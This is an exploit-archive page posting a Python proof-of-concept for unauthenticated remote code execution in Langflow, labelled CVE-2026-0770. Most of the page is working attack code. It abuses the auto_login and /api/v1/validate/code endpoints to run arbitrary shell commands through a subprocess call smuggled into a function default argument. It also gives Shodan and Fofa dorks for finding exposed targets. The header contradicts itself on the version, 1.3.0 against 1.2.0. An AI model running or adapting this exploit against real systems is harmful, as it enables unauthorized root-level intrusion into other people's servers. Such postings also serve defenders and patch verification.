Langflow 1.3.0 Remote Code Execution

2026.07.19
Credit: Diamorphine
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: Langflow 1.3.0 - Remote Code Execution # Fofa-dork: title="Langflow" # Shodan-dork: title:"Langflow" # Date: 23-05-2026 # Exploit Author: Diamorphine # Venodor Homepage: https://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: 1.2.0 # Tested on: Debian # CVE : CVE-2026-0770 # Description: Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication. # Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] import httpx import asyncio import subprocess import json import sys import argparse def auth(host, username, password): with httpx.Client(verify=False) as client: data = { 'username': username, 'password': password } r = client.post(url=f'http://{host}:7860/api/v1/login', data=data) res = r.json() access_token = res["access_token"] return access_token async def exec_auth(host, username, password, cmd): async with httpx.AsyncClient(verify=False) as client: headers = { 'Authorization': f'Bearare {auth(host, username, password)}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") async def exec_without_auth(host, cmd): async with httpx.AsyncClient(verify=False) as client: req = await client.get(url=f'http://{host}:7860/api/v1/auto_login') res = req.json() access_token = res["access_token"] headers = { 'Authorization': f'Bearare {access_token}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") parser = argparse.ArgumentParser(description="Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow") parser.add_argument('-u', '--host', required=True, help="Target host, e.g 127.0.0.1") parser.add_argument('-l', '--login', help="Username for login, e.g user (If auto login not enabled)") parser.add_argument('-p', '--password', help="Password for login, e.g password (If auto login not enabled)") parser.add_argument('-c', '--command', default='id', help="Command for execute, e.g id, default: id") args = parser.parse_args() if args.login and args.password: asyncio.run(exec_auth(args.host, args.login, args.password, args.command)) else: asyncio.run(exec_without_auth(args.host, args.command))


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top